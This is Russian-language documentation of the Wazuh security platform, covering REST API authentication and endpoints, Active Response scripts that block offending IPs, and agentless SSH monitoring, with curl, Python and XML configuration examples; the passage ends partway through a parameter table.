# OpenNix

> Гибридные решения для облачной безопасности: аудит инфраструктуры, DevSecOps и ИИ-платформы соответствия стандартам

OpenNix предоставляет решения для облачной безопасности: аудит инфраструктуры, DevSecOps, сканирование на соответствие стандартам и платформы автоматизированного усиления защиты. Этот файл содержит полный текст документации для обработки языковыми моделями.


---

# REST API сервера Wazuh - аутентификация и эндпоинты

Source: https://opennix.org/docs/wazuh/infrastructure/wazuh-server-api/


REST API Wazuh предоставляет программный интерфейс для управления всеми компонентами платформы. API работает по протоколу HTTPS на порту 55000, использует JWT-аутентификацию и поддерживает ролевую модель доступа. Через API можно управлять агентами, правилами, декодерами, группами, конфигурацией менеджера и кластера.

## Обзор API

### Базовые характеристики

| Параметр | Значение |
|---|---|
| Протокол | HTTPS (TLS) |
| Порт по умолчанию | 55000 |
| Формат данных | JSON |
| Аутентификация | JWT (JSON Web Token) |
| Авторизация | RBAC (Role-Based Access Control) |
| HTTP-методы | GET, POST, PUT, DELETE |
| Базовый URL | `https://<WAZUH_SERVER>:55000` |

### Структура ответа

Все ответы API следуют стандартизированному формату:

```json
{
  "data": {
    "affected_items": [],
    "total_affected_items": 0,
    "failed_items": [],
    "total_failed_items": 0
  },
  "message": "Description of the result",
  "error": 0
}
```

Коды ошибок в поле `error`:
- `0` - операция выполнена успешно
- `1` - операция завершилась с ошибкой
- `2` - операция выполнена частично (некоторые элементы обработаны, некоторые нет)

### Параметры пагинации

API ограничивает количество возвращаемых записей. По умолчанию - 500 элементов. Для получения большего количества используйте параметры:

- `limit` - максимальное количество записей в ответе
- `offset` - смещение от начала списка
- `sort` - сортировка результатов (например, `+name` или `-id`)

## Аутентификация

### Получение JWT-токена

Для работы с API необходимо получить JWT-токен через эндпоинт аутентификации. Используется базовая HTTP-аутентификация (логин и пароль):

```bash
TOKEN=$(curl -sk -u wazuh-wui:MyPassword \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
```

Параметр `raw=true` возвращает токен в текстовом формате без JSON-обертки.

Альтернативный вариант с JSON-ответом:

```bash
curl -sk -u wazuh-wui:MyPassword \
  -X POST "https://localhost:55000/security/user/authenticate" | jq -r '.data.token'
```

### Использование токена

Полученный токен передается в заголовке `Authorization` каждого запроса:

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/?pretty=true"
```

### Время жизни токена

JWT-токен имеет ограниченное время жизни, которое настраивается в конфигурации API. По истечении срока действия необходимо получить новый токен. Время жизни по умолчанию составляет 900 секунд (15 минут).

### Отзыв токена

Для принудительного завершения сессии используйте эндпоинт отзыва:

```bash
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/security/user/authenticate"
```

## Основные группы эндпоинтов

### Агенты

Управление агентами - одна из наиболее часто используемых функций API.

```bash
# Список всех агентов
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?pretty=true"

# Список активных агентов с фильтрацией
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?status=active&limit=10&pretty=true"

# Информация о конкретном агенте
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?agents_list=001&pretty=true"

# Сводка статусов агентов
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents/summary/status?pretty=true"

# Перезапуск агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/restart?pretty=true"

# Обновление агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/upgrade?pretty=true"

# Удаление агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/agents?agents_list=001&status=all&older_than=0s&pretty=true"
```

### Правила

```bash
# Список всех правил
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/rules?pretty=true&limit=10"

# Получение правила по ID
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/rules?rule_ids=100001&pretty=true"

# Правила по уровню
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/rules?level=12-15&pretty=true"

# Правила по группе
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/rules?group=authentication_failed&pretty=true"

# Список файлов правил
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/rules/files?pretty=true"
```

### Декодеры

```bash
# Список всех декодеров
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/decoders?pretty=true&limit=10"

# Поиск декодера по имени
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/decoders?search=sshd&pretty=true"

# Список файлов декодеров
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/decoders/files?pretty=true"
```

### Менеджер

```bash
# Информация о менеджере
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/manager/info?pretty=true"

# Статус менеджера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/manager/status?pretty=true"

# Конфигурация менеджера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/manager/configuration?pretty=true"

# Логи менеджера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/manager/logs?pretty=true&limit=20"

# Перезапуск менеджера
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/manager/restart?pretty=true"
```

### Кластер

```bash
# Статус кластера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/cluster/status?pretty=true"

# Список узлов кластера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/cluster/nodes?pretty=true"

# Информация о конкретном узле
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/cluster/nodes/worker-01?pretty=true"

# Конфигурация кластера
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/cluster/configuration?pretty=true"
```

Подробнее о настройке кластера см. в разделе [серверный кластер Wazuh](/docs/wazuh/infrastructure/wazuh-server-cluster/).

### Syscollector (инвентаризация)

```bash
# Информация об оборудовании агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/hardware?pretty=true"

# Установленные пакеты
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/packages?pretty=true&limit=20"

# Сетевые интерфейсы
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/netiface?pretty=true"

# Открытые порты
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/ports?pretty=true"

# Запущенные процессы
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/processes?pretty=true&limit=20"

# Информация об ОС
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/syscollector/001/os?pretty=true"
```

### Уязвимости

```bash
# Обнаруженные уязвимости агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/vulnerability/001?pretty=true"

# Фильтрация по критичности
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/vulnerability/001?severity=Critical&pretty=true"
```

### SCA (оценка конфигурации безопасности)

```bash
# Список политик SCA для агента
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/sca/001?pretty=true"

# Результаты проверок конкретной политики
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04?pretty=true"
```

Подробнее о модуле SCA см. в разделе [оценка конфигурации безопасности](/docs/wazuh/capabilities/wazuh-sca/).

### Группы агентов

```bash
# Список групп
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/groups?pretty=true"

# Создание группы
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/groups?pretty=true" \
  -H "Content-Type: application/json" \
  -d '{"group_id":"web-servers"}'

# Назначение агента в группу
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X PUT "https://localhost:55000/agents/001/group/web-servers?pretty=true"

# Агенты в группе
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/groups/web-servers/agents?pretty=true"

# Удаление группы
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X DELETE "https://localhost:55000/groups?groups_list=web-servers&pretty=true"
```

## Конфигурация API (api.yaml)

Конфигурация API хранится в файле `/var/ossec/api/configuration/api.yaml`.

### Основные параметры

```yaml
host: 0.0.0.0
port: 55000

https:
  enabled: true
  key: /var/ossec/api/configuration/ssl/server.key
  cert: /var/ossec/api/configuration/ssl/server.crt

logging:
  level: info
  path: /var/ossec/logs/api.log

cors:
  enabled: false
  source_route: "*"
  expose_headers: "*"
  allow_headers: "*"
  allow_credentials: false

access:
  max_login_attempts: 50
  block_time: 300
  max_request_per_minute: 300

behind_proxy_server: false
```

### Описание параметров конфигурации

| Параметр | Описание | Значение по умолчанию |
|---|---|---|
| `host` | IP-адрес, на котором API принимает соединения | `0.0.0.0` |
| `port` | TCP-порт API | `55000` |
| `https.enabled` | Включение HTTPS | `true` |
| `https.key` | Путь к приватному ключу TLS | `/var/ossec/api/configuration/ssl/server.key` |
| `https.cert` | Путь к сертификату TLS | `/var/ossec/api/configuration/ssl/server.crt` |
| `logging.level` | Уровень логирования (debug, info, warning, error) | `info` |
| `cors.enabled` | Включение CORS-заголовков | `false` |
| `behind_proxy_server` | Работа за обратным прокси (доверие заголовку X-Forwarded-For) | `false` |
| `access.max_login_attempts` | Максимальное количество попыток входа | `50` |
| `access.block_time` | Время блокировки после превышения попыток (секунды) | `300` |
| `access.max_request_per_minute` | Ограничение запросов в минуту | `300` |

После изменения конфигурации перезапустите API:

```bash
systemctl restart wazuh-manager
```

## RBAC - ролевая модель доступа

### Архитектура RBAC

Wazuh API реализует многоуровневую систему контроля доступа:

- **Пользователи** - учетные записи с JWT-аутентификацией
- **Роли** - наборы политик, назначаемые пользователям
- **Политики** - правила доступа, определяющие разрешенные действия
- **Правила безопасности** - динамическое назначение ролей на основе условий

### Режимы работы RBAC

- **White list** (по умолчанию) - запрещено все, кроме явно разрешенного
- **Black list** - разрешено все, кроме явно запрещенного

### Управление пользователями

```bash
# Создание пользователя
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/security/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"analyst","password":"Analyst_Pass1"}'

# Список пользователей
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/security/users?pretty=true"

# Назначение роли пользователю
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/security/users/analyst/roles?role_ids=2"
```

### Управление ролями

```bash
# Список ролей
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/security/roles?pretty=true"

# Создание роли
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/security/roles" \
  -H "Content-Type: application/json" \
  -d '{"name":"readonly_agents"}'

# Назначение политики роли
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/security/roles/100/policies?policy_ids=1"
```

### Управление политиками

```bash
# Список политик
curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/security/policies?pretty=true"

# Создание политики (разрешение чтения агентов)
curl -sk -H "Authorization: Bearer $TOKEN" \
  -X POST "https://localhost:55000/security/policies" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "read_agents",
    "policy": {
      "actions": ["agent:read"],
      "resources": ["agent:id:*"],
      "effect": "allow"
    }
  }'
```

## Ограничение частоты запросов

API ограничивает количество запросов для защиты от злоупотреблений:

- Максимум `max_request_per_minute` запросов в минуту (по умолчанию 300)
- Максимум `max_login_attempts` попыток аутентификации (по умолчанию 50)
- Блокировка IP на `block_time` секунд после превышения лимита попыток

При превышении лимита API возвращает HTTP 429 (Too Many Requests).

## Использование API из Dashboard Dev Tools

Wazuh Dashboard предоставляет встроенную консоль Dev Tools для выполнения API-запросов без использования командной строки. Консоль доступна в разделе **Server management > Dev Tools**.

Формат запросов в Dev Tools:

```
GET /agents?status=active&limit=5

GET /manager/info

POST /security/user/authenticate
```

Dev Tools автоматически добавляет аутентификацию и базовый URL.

## Примеры на Python

### Аутентификация и получение агентов

```python
import requests
import urllib3
from base64 import b64encode

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

WAZUH_API = "https://localhost:55000"
USER = "wazuh-wui"
PASSWORD = "MyPassword"

def get_token() -> str:
    """Obtain JWT token from Wazuh API."""
    auth_header = b64encode(f"{USER}:{PASSWORD}".encode()).decode()
    headers = {"Authorization": f"Basic {auth_header}"}
    response = requests.post(
        f"{WAZUH_API}/security/user/authenticate",
        headers=headers,
        verify=False,
    )
    response.raise_for_status()
    return response.json()["data"]["token"]

def get_active_agents(token: str) -> list[dict]:
    """Retrieve list of active agents."""
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.get(
        f"{WAZUH_API}/agents",
        headers=headers,
        params={"status": "active", "limit": 500},
        verify=False,
    )
    response.raise_for_status()
    return response.json()["data"]["affected_items"]

token = get_token()
agents = get_active_agents(token)
for agent in agents:
    print(f"Agent {agent['id']}: {agent['name']} ({agent['status']})")
```

### Мониторинг уязвимостей

```python
def get_critical_vulnerabilities(token: str, agent_id: str) -> list[dict]:
    """Get critical vulnerabilities for a specific agent."""
    headers = {"Authorization": f"Bearer {token}"}
    response = requests.get(
        f"{WAZUH_API}/vulnerability/{agent_id}",
        headers=headers,
        params={"severity": "Critical", "limit": 100},
        verify=False,
    )
    response.raise_for_status()
    return response.json()["data"]["affected_items"]
```

## Сравнение с API других SIEM-платформ

| Характеристика | Wazuh API | Splunk REST API | Elastic Security API | QRadar API |
|---|---|---|---|---|
| Протокол | HTTPS (порт 55000) | HTTPS (порт 8089) | HTTPS (порт 9200/5601) | HTTPS (порт 443) |
| Аутентификация | JWT-токен | Session key / Bearer token | API key / Basic auth | SEC token |
| Авторизация | RBAC | Capabilities | RBAC / Spaces | User roles |
| Формат ответа | JSON | JSON/XML | JSON | JSON |
| Документация | OpenAPI / ReDoc | REST API Reference | OpenAPI | Interactive |
| Стоимость | Бесплатно | Коммерческая | Бесплатно (Basic) / Коммерческая | Коммерческая |
| SDK | Python (requests) | splunk-sdk | elasticsearch-py | Python SDK |
| Rate limiting | Настраиваемый | Нет по умолчанию | Нет по умолчанию | Да |

### Ключевые отличия

**Splunk REST API** предоставляет доступ к конфигурации через конфигурационные эндпоинты (`/servicesNS/`) с иерархической структурой пространств имен. Wazuh API использует плоскую структуру эндпоинтов, сгруппированных по функциональности.

**Elastic Security API** разделяет API на уровне Elasticsearch (индексы, поиск) и Kibana (правила, алерты). Wazuh объединяет все функции управления в едином API.

**QRadar API** использует статические токены авторизации без истечения срока действия. Wazuh использует JWT с ограниченным временем жизни, что обеспечивает более высокий уровень безопасности.

## Устранение неполадок

### API не отвечает на запросы

**Проверки:**

1. Убедитесь, что менеджер запущен:

```bash
systemctl status wazuh-manager
```

2. Проверьте, что API слушает на нужном порту:

```bash
ss -tlnp | grep 55000
```

3. Просмотрите лог API:

```bash
tail -f /var/ossec/logs/api.log
```

### Ошибка аутентификации (HTTP 401)

- Убедитесь, что учетные данные верны
- Проверьте, не истек ли JWT-токен (время жизни по умолчанию - 15 минут)
- Получите новый токен через эндпоинт аутентификации

### Ошибка авторизации (HTTP 403)

- Проверьте назначенные пользователю роли и политики
- Убедитесь, что политика разрешает запрашиваемое действие и ресурс
- Проверьте режим RBAC (white list / black list)

### Превышение лимита запросов (HTTP 429)

- Уменьшите частоту запросов
- Увеличьте параметр `max_request_per_minute` в `api.yaml`
- Используйте параметры `limit` и `offset` для получения данных порциями вместо множественных запросов

### Ошибки TLS-сертификата

- При использовании самоподписанных сертификатов добавьте флаг `-k` в curl или `verify=False` в Python
- Для промышленной эксплуатации замените самоподписанные сертификаты на сертификаты от доверенного CA
- Проверьте пути к сертификатам в `api.yaml`

Для общего обзора инфраструктуры см. [раздел инфраструктуры Wazuh](/docs/wazuh/infrastructure/). Информация о кластерном взаимодействии через API доступна в разделе [серверный кластер](/docs/wazuh/infrastructure/wazuh-server-cluster/).


---

# Wazuh Active Response - автоматическое реагирование

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-active-response/


Модуль Active Response (AR) в Wazuh обеспечивает автоматическое реагирование на инциденты безопасности. При срабатывании правила обнаружения сервер отправляет команду на агент для выполнения ответного действия - блокировки IP-адреса, отключения учетной записи или запуска пользовательского скрипта. Этот механизм сокращает время реагирования с минут до секунд и позволяет нейтрализовать угрозы до вмешательства аналитика.

## Принцип работы Active Response

Active Response функционирует в связке с движком правил Wazuh. Последовательность обработки инцидента выглядит следующим образом:

1. Агент собирает лог-данные с конечной точки
2. Данные передаются на сервер Wazuh для анализа
3. Движок правил сопоставляет событие с набором правил
4. При совпадении правила с настроенным Active Response сервер формирует команду
5. Команда отправляется на агент (или выполняется локально на сервере)
6. Агент запускает соответствующий скрипт реагирования
7. Результат выполнения логируется для аудита

Реагирование может быть привязано к конкретному правилу по его идентификатору (`rules_id`), группе правил (`rules_group`) или минимальному уровню критичности (`level`).

## Встроенные скрипты реагирования

Wazuh поставляется с набором готовых скриптов, расположенных в директории `/var/ossec/active-response/bin/` на агентах.

### firewall-drop

Блокирует IP-адрес атакующего на сетевом уровне. На Linux использует iptables, на Windows - Windows Firewall. Применяется для автоматической блокировки источников brute-force атак, сканирования портов и других сетевых угроз.

```xml
<command>
  <name>firewall-drop</name>
  <executable>firewall-drop</executable>
  <timeout_allowed>yes</timeout_allowed>
</command>

<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_id>5710,5711</rules_id>
  <timeout>600</timeout>
</active-response>
```

В данном примере при срабатывании правил 5710 или 5711 (множественные неудачные попытки SSH-аутентификации) IP-адрес атакующего блокируется на 600 секунд.

### host-deny

Добавляет IP-адрес в файл `/etc/hosts.deny` (TCP Wrappers). Работает на системах, поддерживающих механизм TCP Wrappers - преимущественно Linux и BSD.

```xml
<command>
  <name>host-deny</name>
  <executable>host-deny</executable>
  <timeout_allowed>yes</timeout_allowed>
</command>

<active-response>
  <command>host-deny</command>
  <location>local</location>
  <level>8</level>
  <timeout>3600</timeout>
</active-response>
```

### disable-account

Деактивирует учетную запись пользователя. На Linux выполняет `passwd -l`, на Windows отключает учетную запись через `net user`. Применяется при обнаружении компрометации пользовательских учетных данных.

```xml
<command>
  <name>disable-account</name>
  <executable>disable-account</executable>
  <timeout_allowed>yes</timeout_allowed>
</command>

<active-response>
  <command>disable-account</command>
  <location>local</location>
  <rules_group>authentication_failures</rules_group>
  <timeout>900</timeout>
</active-response>
```

### restart-wazuh

Перезапускает службу агента Wazuh. Используется для применения обновленной конфигурации или восстановления работоспособности агента после сбоя.

```xml
<command>
  <name>restart-wazuh</name>
  <executable>restart-wazuh</executable>
  <timeout_allowed>no</timeout_allowed>
</command>
```

## Stateful и stateless реагирование

Wazuh поддерживает два режима работы Active Response.

### Stateful (с восстановлением)

Stateful-реагирование автоматически отменяет выполненное действие по истечении заданного таймаута. Например, `firewall-drop` с таймаутом 600 секунд заблокирует IP-адрес, а через 10 минут автоматически разблокирует. Этот режим подходит для временного сдерживания угроз и предотвращает постоянную блокировку легитимных пользователей при ложных срабатываниях.

Для включения stateful-режима необходимо указать `<timeout_allowed>yes</timeout_allowed>` в блоке `<command>` и задать значение `<timeout>` в блоке `<active-response>`.

### Stateless (без восстановления)

Stateless-реагирование выполняет действие однократно без автоматической отмены. Применяется для необратимых операций: отправка уведомления, создание снимка системы, запись события в журнал аудита.

Для stateless-режима параметр `<timeout_allowed>` устанавливается в `no`, а `<timeout>` в блоке `<active-response>` не указывается.

## Конфигурация Active Response

Конфигурация состоит из двух XML-блоков в файле `ossec.conf` на сервере Wazuh.

### Блок command

Определяет исполняемый скрипт и его параметры:

```xml
<command>
  <name>my-custom-response</name>
  <executable>my-script.sh</executable>
  <timeout_allowed>yes</timeout_allowed>
</command>
```

| Параметр | Описание |
|----------|----------|
| `name` | Уникальное имя команды для ссылки из блока active-response |
| `executable` | Имя скрипта в директории `/var/ossec/active-response/bin/` |
| `timeout_allowed` | Разрешает stateful-режим с автоматической отменой (yes/no) |

### Блок active-response

Определяет условия срабатывания и параметры выполнения:

```xml
<active-response>
  <command>my-custom-response</command>
  <location>local</location>
  <rules_id>100100,100101</rules_id>
  <timeout>300</timeout>
</active-response>
```

| Параметр | Описание |
|----------|----------|
| `command` | Имя команды из блока `<command>` |
| `location` | Место выполнения: `local` (на агенте), `server`, `defined-agent`, `all` |
| `rules_id` | Список ID правил через запятую |
| `rules_group` | Группа правил для срабатывания |
| `level` | Минимальный уровень критичности правила |
| `timeout` | Время в секундах до автоматической отмены (stateful) |
| `repeated_offenders` | Увеличение таймаута при повторных срабатываниях |

### Параметр location

- `local` - скрипт выполняется на агенте, с которого пришел алерт
- `server` - скрипт выполняется на сервере Wazuh
- `defined-agent` - скрипт выполняется на указанном агенте (требует `<agent_id>`)
- `all` - скрипт выполняется на всех агентах

### Повторные нарушители (repeated_offenders)

Параметр `repeated_offenders` позволяет увеличивать время блокировки при повторных инцидентах от одного источника:

```xml
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_id>5710</rules_id>
  <timeout>600</timeout>
  <repeated_offenders>1800,3600,86400</repeated_offenders>
</active-response>
```

В этом примере: первая блокировка - 10 минут, вторая - 30 минут, третья - 1 час, четвертая и последующие - 24 часа.

## Пользовательские скрипты реагирования

Wazuh позволяет создавать собственные скрипты Active Response на любом языке программирования. Скрипт получает данные алерта через стандартный вход (STDIN) в формате JSON.

### Формат входных данных

Скрипт получает JSON-объект со следующими полями:

```json
{
  "version": 1,
  "origin": {
    "name": "my-custom-response",
    "module": "active-response"
  },
  "command": "add",
  "parameters": {
    "alert": {
      "rule": {
        "id": "5710",
        "level": 10,
        "description": "Multiple SSH authentication failures"
      },
      "data": {
        "srcip": "192.168.1.100"
      },
      "agent": {
        "id": "001",
        "name": "web-server"
      }
    }
  }
}
```

Поле `command` принимает значение `add` (выполнить действие) или `delete` (отменить действие для stateful-скриптов).

### Пример скрипта на Bash

```bash
#!/bin/bash

LOCAL=$(dirname "$0")
LOG_FILE="/var/ossec/logs/active-responses.log"

read -r INPUT_JSON

COMMAND=$(echo "$INPUT_JSON" | jq -r '.command')
SRCIP=$(echo "$INPUT_JSON" | jq -r '.parameters.alert.data.srcip // empty')

if [ -z "$SRCIP" ]; then
    echo "$(date) - No source IP found" >> "$LOG_FILE"
    exit 1
fi

if [ "$COMMAND" = "add" ]; then
    echo "$(date) - Blocking IP: $SRCIP" >> "$LOG_FILE"
    iptables -A INPUT -s "$SRCIP" -j DROP
elif [ "$COMMAND" = "delete" ]; then
    echo "$(date) - Unblocking IP: $SRCIP" >> "$LOG_FILE"
    iptables -D INPUT -s "$SRCIP" -j DROP
fi

exit 0
```

### Пример скрипта на Python

```python
#!/usr/bin/env python3

import sys
import json
import datetime

LOG_FILE = "/var/ossec/logs/active-responses.log"

def log_message(message):
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    with open(LOG_FILE, "a") as f:
        f.write(f"{timestamp} - {message}\n")

def main():
    input_data = sys.stdin.readline().strip()
    if not input_data:
        log_message("No input received")
        sys.exit(1)

    try:
        alert = json.loads(input_data)
    except json.JSONDecodeError:
        log_message("Invalid JSON input")
        sys.exit(1)

    command = alert.get("command", "")
    srcip = alert.get("parameters", {}).get("alert", {}).get("data", {}).get("srcip", "")

    if not srcip:
        log_message("No source IP in alert")
        sys.exit(1)

    if command == "add":
        log_message(f"Custom action triggered for IP: {srcip}")
        # Custom remediation logic here
    elif command == "delete":
        log_message(f"Custom action reverted for IP: {srcip}")
        # Revert logic here

    sys.exit(0)

if __name__ == "__main__":
    main()
```

### Развертывание пользовательского скрипта

1. Разместите скрипт в `/var/ossec/active-response/bin/` на агенте
2. Установите права доступа: `chmod 750 /var/ossec/active-response/bin/my-script.sh`
3. Владелец должен быть `root:wazuh`
4. Добавьте блоки `<command>` и `<active-response>` в `ossec.conf` на сервере
5. Перезапустите менеджер Wazuh для применения конфигурации

## Реагирование по правилам

### Привязка к конкретным правилам

```xml
<active-response>
  <command>firewall-drop</command>
  <location>local</location>
  <rules_id>31104,31105,31106</rules_id>
  <timeout>600</timeout>
</active-response>
```

### Привязка к группе правил

```xml
<active-response>
  <command>host-deny</command>
  <location>local</location>
  <rules_group>web_attacks</rules_group>
  <timeout>1800</timeout>
</active-response>
```

### Привязка к уровню критичности

```xml
<active-response>
  <command>disable-account</command>
  <location>local</location>
  <level>12</level>
  <timeout>0</timeout>
</active-response>
```

При `<timeout>0</timeout>` действие выполняется без автоматической отмены - учетная запись остается заблокированной до ручного вмешательства.

## Тестирование Active Response

### Проверка конфигурации

Перед развертыванием проверьте синтаксис конфигурации:

```bash
docker exec wazuh-manager /var/ossec/bin/wazuh-control reload
```

### Ручной запуск скрипта

Для тестирования можно запустить скрипт реагирования вручную на агенте:

```bash
echo '{"version":1,"origin":{"name":"test","module":"active-response"},"command":"add","parameters":{"alert":{"data":{"srcip":"10.0.0.99"}}}}' | /var/ossec/active-response/bin/firewall-drop
```

### Проверка журнала Active Response

Журнал выполнения скриптов реагирования находится на агенте:

```bash
tail -f /var/ossec/logs/active-responses.log
```

### Мониторинг через wazuh-logtest

Используйте `wazuh-logtest` для проверки срабатывания правил, к которым привязано реагирование:

```bash
docker exec -it wazuh-manager /var/ossec/bin/wazuh-logtest
```

## Сравнение с другими платформами

| Возможность | Wazuh Active Response | Splunk SOAR | ELK Watcher |
|-------------|----------------------|-------------|-------------|
| Автоматическое реагирование | Встроено, на уровне агента | Через плейбуки и интеграции | Через actions (email, webhook) |
| Выполнение на конечной точке | Да, агент выполняет скрипт | Через коннекторы и приложения | Нет, только серверные действия |
| Stateful с откатом | Да, встроенный таймаут | Через логику плейбука | Нет |
| Пользовательские скрипты | Bash, Python, любой язык | Python-плейбуки | Нет, только предустановленные actions |
| Стоимость | Бесплатно (open source) | Коммерческая лицензия | Базовая версия бесплатна, расширенная платная |
| Сложность настройки | Низкая (XML-конфигурация) | Высокая (визуальный редактор) | Средняя (JSON/YAML) |

Подробнее о правилах обнаружения: [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/)

## Устранение неполадок

### Скрипт не выполняется

- Проверьте права доступа к скрипту: `ls -la /var/ossec/active-response/bin/`
- Убедитесь, что скрипт имеет права `750` и владельца `root:wazuh`
- Проверьте журнал `/var/ossec/logs/ossec.log` на наличие ошибок
- Убедитесь, что имя в `<executable>` совпадает с именем файла скрипта

### Блокировка не снимается автоматически

- Проверьте, что `<timeout_allowed>yes</timeout_allowed>` указано в блоке `<command>`
- Убедитесь, что значение `<timeout>` задано в блоке `<active-response>`
- Проверьте, что скрипт корректно обрабатывает команду `delete`

### Ложные срабатывания

- Уточните условия срабатывания: используйте `<rules_id>` вместо `<level>`
- Добавьте исключения через белые списки в правилах Wazuh
- Увеличьте порог срабатывания в правиле обнаружения
- Начните с длительного таймаута и сокращайте по мере отладки

### Реагирование работает, но не логируется

- Проверьте наличие и права на файл `/var/ossec/logs/active-responses.log`
- Убедитесь, что скрипт записывает в лог результат выполнения

Подробнее об установке агентов: [Установка агента Wazuh](/docs/wazuh/installation/wazuh-agent-installation/)

Подробнее о компонентах Wazuh: [Компоненты платформы](/docs/wazuh/getting-started/wazuh-components/)


---

# Wazuh Agentless Monitoring - безагентный мониторинг

Source: https://opennix.org/docs/wazuh/capabilities/wazuh-agentless-monitoring/


Безагентный мониторинг в Wazuh позволяет контролировать устройства и системы без установки агента. Wazuh подключается к конечной точке по протоколу SSH, выполняет проверки и передает результаты на сервер для анализа. Этот подход применяется для мониторинга сетевого оборудования (маршрутизаторы, коммутаторы, межсетевые экраны), legacy-систем Unix/BSD и других устройств, на которые невозможно или нецелесообразно устанавливать программное обеспечение.

## Принцип работы

Безагентный мониторинг функционирует следующим образом:

1. Сервер Wazuh устанавливает SSH-соединение с целевым устройством
2. Выполняет заданную проверку (контрольная сумма файлов, вывод команды)
3. Сравнивает результат с предыдущим (при использовании `periodic_diff`)
4. Передает данные в движок анализа для сопоставления с правилами
5. Генерирует алерт при обнаружении изменений или аномалий

Безагентный мониторинг настраивается исключительно на сервере Wazuh - на целевых устройствах не требуется установка дополнительного ПО, кроме SSH-сервера.

## Предварительные требования

### Настройка SSH-аутентификации

Для безагентного мониторинга необходима аутентификация по SSH-ключу. Создайте ключевую пару и распространите открытый ключ:

```bash
# Генерация ключа (на сервере Wazuh)
sudo -u wazuh ssh-keygen -t ed25519 -f /var/ossec/.ssh/id_ed25519 -N ""

# Копирование открытого ключа на целевое устройство
sudo -u wazuh ssh-copy-id -i /var/ossec/.ssh/id_ed25519.pub admin@192.168.1.1
```

### Регистрация хоста

Зарегистрируйте устройство для безагентного мониторинга:

```bash
/var/ossec/agentless/register_host.sh add admin@192.168.1.1 NOPASS
```

Параметр `NOPASS` указывает на аутентификацию по ключу. При использовании пароля укажите его вместо `NOPASS`.

### Включение безагентного мониторинга

В файле `ossec.conf` на сервере Wazuh включите модуль:

```xml
<agentless>
  <type>ssh_integrity_check_linux</type>
  <frequency>3600</frequency>
  <host>admin@192.168.1.1</host>
  <state>periodic_diff</state>
  <arguments>/etc /usr/bin /usr/sbin</arguments>
</agentless>
```

## Конфигурация

### Структура блока agentless

```xml
<agentless>
  <type>check_type</type>
  <frequency>seconds</frequency>
  <host>user@hostname</host>
  <state>periodic|periodic_diff</state>
  <arguments>arguments</arguments>
</agentless>
```

### Параметры конфигурации

| Параметр | Описание |
|----------|----------|
| `type` | Тип проверки (см. поддерживаемые типы ниже) |
